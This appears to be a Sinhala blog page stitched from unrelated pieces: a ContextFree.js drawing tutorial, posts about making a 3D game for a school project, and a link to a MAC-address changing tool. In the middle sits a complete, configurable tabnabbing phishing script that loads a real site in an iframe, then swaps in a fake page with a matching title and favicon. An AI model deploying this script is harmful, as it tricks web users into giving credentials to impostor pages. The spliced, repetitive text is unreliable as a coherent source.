ඔයාලට web based demo එකක් http://azarask.in/projects/algorithm-ink/ බලාගන්න පුලුවන් . ඔයාලට මෙයින් චිත්‍ර අඳින්න වගේම ඒවා පින්තුර ලෙස save කරගැනිමේ හැකියවත් ලබාදී තිබෙනවා .මතක තියාගන්න මේක Internet Explorer වල run වෙන්නේනෑ , ඔයාලට හොඳට බලන්න ඕනේනම් firefox දාලා බලන්නකෝ.මම web based demo එක ඔයාලෙගේ වෙබ් අඩවියට දාන්න පුලුවන් විදිහට script එක එකතු කරලා ගත්තා . ඒක ඔයාලට http://www.mediafire.com/?jymammzkzrc මඟින් භාගත හැක .
A Peak at the Syntax
The grammar is pretty simple. Let’s start by making a circle:
startshape shape
rule shape{
CIRCLE{}
}
This says start by drawing the rule named “shape”. The rule shape says to draw a circle.
Now let’s make things more interesting:
startshape shape
rule shape{
CIRCLE{}
shape{ s .5 b .2 x -.25 }
}
We’ve added a single line which says that part of the rule for “shape” is to draw itself, scaled down by half, with a slightly increased brightness, drawn on the left side of its parent circle. This makes an off-centered bulls-eye pattern.
Now let’s go to the right, as well as the left:
startshape shape
rule shape{
CIRCLE{}
shape{ s .5 b .2 x -.25 }
shape{ s .5 b .2 x .25 }
}
For comparison, this is what the equivalent code in Processing.js looks like:
// Processing.js code to make the same circle pattern.
void setup()
{
size(200, 200);
noStroke();
smooth();
noLoop();
}
void draw()
{
drawCircle(126, 170, 6);
}
void drawCircle(int x, int radius, int level)
{
float tt = 126 * level/4.0;
fill(tt);
ellipse(x, 100, radius*2, radius*2);
if(level > 1) {
level = level - 1;
drawCircle(x - radius/2, radius/2, level);
drawCircle(x + radius/2, radius/2, level);
}
}
It’s much longer, involves more setup, and more fiddly calculations. In fact, the entire ContextFree.js source is as long as the setup function. Of course, by simplifying so much in ContextFree.js, we’ve also removed the flexibility Processing.js affords. Adding one more line of code gives an unexpected result: The Sierpinski Triangle. I’ll leave it as an exercise for the reader to figure out what that line of code is, but I doubt that it will be much of a puzzle.
Follow the mouse
The equivalent of “Hello, World!” for a graphical environment is a dot that follows the cursor, replete with a fading trail. This is what it looks like in ContextFree.js:
startshape DOT
rule DOT{
SQUARE{ s 4 b 1 a -.9 }
SQUARE{ s .3 }
}
rule MOUSEMOVE{
DOT{ }
}
We start by defining the rule “DOT” which draws two things: A large square (scaled up 4x), which is white (brightness of 1), and mostly transparent (alpha of -.9), and then a smaller black square. The large transparent white square acts to fade out more and more of the previous DOTs that have been drawn (it’s a standard trick for doing motion blur effects). The rule MOUSEMOVE simply draws a dot at the current mouse position, whenever the mouse moves.
Here’s the result.
<html><head><title></title></head><style type="text/css">html {overflow: auto;}html, body, div, iframe {margin: 0px; padding: 0px; height: 100%; border: none;}iframe {display: block; width: 100%; border: none; overflow-y: auto; overflow-x: hidden;}</style><body> <script type="text/javascript">//----------Set Script Options--------------var REAL_PAGE_URL = "http://google.com/"; //This is the "Real" page that is shown when the user first views this pagevar REAL_PAGE_TITLE = "Google"; //This sets the title of the "Real Page"var FAKE_PAGE_URL = "http://www.hackyeah.com"; //Set this to the url of the fake pagevar FAKE_PAGE_TITLE = "HackYeah"; //This sets the title of the fake pagevar REAL_FAVICON = "http://www.google.com/favicon.ico"; //This sets the favicon. It will not switch or clear the "Real" favicon in IE.var FAKE_FAVICON = "http://www.hackyeah.com/favicon.ico"; //Set's the fake favicon.var TIME_TO_SWITCH_IE = "4000"; //Time before switch in IE (after tab changes).var TIME_TO_SWITCH_OTHERS = "10000"; //Wait this long before switching (does not account for tab focus) .//---------------End Options-----------------var TIMER = null;var SWITCHED = "false"; //Find Browser Typevar BROWSER_TYPE = "";if(/MSIE (\d\.\d+);/.test(navigator.userAgent)){ BROWSER_TYPE = "Internet Explorer";}//Set REAL_PAGE_TITLEdocument.title=REAL_PAGE_TITLE; //Set FAVICONif(REAL_FAVICON){ var link = document.createElement('link'); link.type = 'image/x-icon'; link.rel = 'shortcut icon'; link.href = REAL_FAVICON; document.getElementsByTagName('head')[0].appendChild(link);} //Create our iframe (tabnab)var el_tabnab = document.createElement("iframe");el_tabnab.id="tabnab";el_tabnab.name="tabnab";document.body.appendChild(el_tabnab);el_tabnab.setAttribute('src', REAL_PAGE_URL); //Focus on the iframe (just in case the user doesn't click on it)el_tabnab.focus(); //Wait to nab the tab!if(BROWSER_TYPE=="Internet Explorer"){ //The tested versions of IE blur the iframe on tab change el_tabnab.onblur = function(){ TIMER = setTimeout(TabNabIt, TIME_TO_SWITCH_IE); } el_tabnab.onfocus= function(){ if(TIMER) clearTimeout(TIMER); }} else { setTimeout(TabNabIt, TIME_TO_SWITCH_OTHERS);} function TabNabIt(){ if(SWITCHED == "false"){ //Redirect the iframe to FAKE_PAGE_URL el_tabnab.src=FAKE_PAGE_URL; //Change title to FAKE_PAGE_TITLE and favicon to FAKE_PAGE_FAVICON if(FAKE_PAGE_TITLE) document.title = FAKE_PAGE_TITLE; //Change the favicon -- This doesn't seem to work in IE if(BROWSER_TYPE != "Internet Explorer"){ var links = document.getElementsByTagName("head")[0].getElementsByTagName("link"); for (var i=0; i<links.length; i++) { var looplink = links[i]; if (looplink.type=="image/x-icon" && looplink.rel=="shortcut icon") { document.getElementsByTagName("head")[0].removeChild(looplink); } } var link = document.createElement("link"); link.type = "image/x-icon"; link.rel = "shortcut icon"; link.href = FAKE_FAVICON; document.getElementsByTagName("head")[0].appendChild(link); } }}</script> </body></html>
Video Part 1 : http://www.youtube.com/watch?v=GueXMq-Vyi8
Video Part 2 : http://www.youtube.com/watch?v=2IbwhE-r8_k
Video Part 3 : http://www.youtube.com/watch?v=4XBbC81bZx4
Adding one more line of code gives an unexpected result: The Sierpinski Triangle. I’ll leave it as an exercise for the reader to figure out what that line of code is, but I doubt that it will be much of a puzzle.
හරි හරි මම ආව කාරනය අද කියන්නම්කෝ . මම ඔය හැකින් ගැන නිකන් හොයන වෙලාවට යන එක වෙබ් අඩවියක් තමා techotips.blogspot.com කියන්නේ . අද ගියහම තිබ්බා tabnabbing කියලා article එකක් , මාත් බැලුවා මොකක්ද මේ අලුත් නම කියලා . බැලින්නම් අලුත්ම phishing ක්‍රරමය තමා tabnabbing . 
අද මම කියන්න යන්නේ මම මේ දවස් වල හෝ ගාලා කරලා ඉවරකරපු වැඩේ ගැන . මගේ අතිජාත මිත්‍රයෙකුට මරු වැඩක් වුණානේ. මරු වැඩේ තමා අපේ A/L project බාරදෙන්න කියලා විභාගයට ලබන මාසෙට ඉස්සෙල්ලා , නමුත් මගේ යාලුවා project කරලා තියා ඒකට අතගහලාවත් නෑ . දැන් මු අඬ අඬ ආවා මගේ ගාවට අනේ මචං මොකක්හරි කරලා දිපංකො කියලා ඉක්මනට 
. මා ගාවත් මුකුත් තිබ්බේ නැති නිසා (දන්න කියන අක්කලා /අයියලගේ projects හැමතැනම ගිහිල්ලා නොවෑ එක එකා ඉල්ලගෙන) මමත් දහ අතේ කල්පනා කරා මොනවද කරන්නේ කියලා , ටික වෙලාවකින් මම ඇහුවා මැසිමේන් ජිල්මාට් එකක් දාලාදෙන්නද කියලා . ඌත් හරි හරි කියලා දවස් 4 කින් කොහොමහරි වැඩේ කරලා දිපං කියලා ඌ ගියා . මමත් දැන් දහ අතේ කල්පනා කරා , මුට ගැලපෙන දවස් 4 කින් ඉක්මනට කරන්න පුලුවන් වැඩක් මොකක්ද කියලා (*මුට කෝඩින් ටිකක් විතර පුලුවන් ). මම බැලුවා කෝඩින් වලින් මොකක් හරි කරලා දාන්න .පස්සේ මුලු හාඩ් එකම පීරලා බැලුවා දවස් 4 කින් විතර ඉවර කරන්න පුලුවන් projects තියේද කියලා , මගේ කරුමෙද මන්දෙන්නේ නෑ මට එක මඟුලක්වත් හම්බවුනේ නෑ (කරලා තියන ඒවා එක්කෝ වැඩක් නෑ , එක්කෝ දවස් 4 කින් ඉවර කරන්න බෑරි එකක් , නැතිනම් කොහේහරි අම්බානක හිරවෙච්ච ඒවා තමා මා ගාව තිබුනේ) . මම හාඩ් එක පීරන කොට මම flash වලිනුයි , game maker එකෙනුයි බාගෙට හදලා ඉවරකරපු projects 3 -4 තිබ්බා , වැඩේත් project එකකට ගලපෙන නිසා මමත් දැම්මා බොක project එකක් විදිහට game එකක් හදන්න. වැඩේට අතගහන්න ඉස්සෙල්ලා ගියා youtube එකට බැලුවා game maker වගේ තියන tools මොනාද කියලා . අපේ ඊලඟට තමා මගේ දෙයීයව දැක්කේ . "3D RAD - Free 3D Game Maker" දැක්කේ ගත්තා ටුල් එක game එක හදාගෙන ගියා දඩබඩ කියලා .ගියේ දවස් 3 යි . ගේම් එක නම් පොඩි කාර් ගේම් එකක් . car models 5 යි , tracks 8 යි . පට්ට ලෙහෙසි වුනා හදන්න . අද තමා ඉවර කරලා අරුට දුන්නේ . ඉතින් හිතුණා මේ ගැනත් ලිපියක් ලියන්න . අද මම කියන්න යන්නේ අපිට තමන්ගේම කියලා 3D ගේම් එකක් ලෙහෙසියෙන්ම හදාගන්න පුලුවන් ටුල්ස් කිහිපයක් ගැන ............... 
. බැලින්නම් මගේ ඊට ඉස්සෙල්ලා ලව් ස්ටෝරි කොලෙක්ශන් පොස්ට් එක මාර විදිහට හිට් වෙලා නිසා , සයිට් එකට අලුත් කට්ටියක් හිට් වෙලා , සෙට් වෙලා !! ; පස්සේ අලුතෙන් හිට් වුන කට්ටියගෙන්ද දන්නේ නෑ මේකේ හැකින් ගැන තියන ටුල්ස් එහෙම නිකම්ම මැසිමේ ටෙස්ට් කරලා , අර කියන ටුල්ස් රන් කරලා වෙන ඒවා ට්‍රයි කරන්න ගිහිල්ලා මැසිම් වලට virus , trojan දාගෙන අනාගෙන මට හොඳවයින් බැනලා !!!; අනේ අසරණ මම ............ 
( * මම ලියලා තියන, කියන හැම ටුල් එකක්ම මම virtual pc එකක තමා ටෙස්ට්න් දාන්නේ , ඉතින් මට මේක හැම පොස්ට් එකකම ලියන්නත් බැහැ මතක් කරකර , අනික මේක ගැන මට මුලින්ම කියන්න මතක වුනා ; සොරි හොඳේ !!! 
).
!!! ඕං ඉත්න් අපට අවසාන වශයෙන් පරිගනකයේ mac address එක වෙනස් කිරිම්ට ජංජාලයේ ඕනේ තරම් tools තියනවා . එකක් කියනවා නම් http://www.technitium.com/tmac/index.html ගිහිල්ලා බාගෙනම දාලා බලන්නකෝ !! 
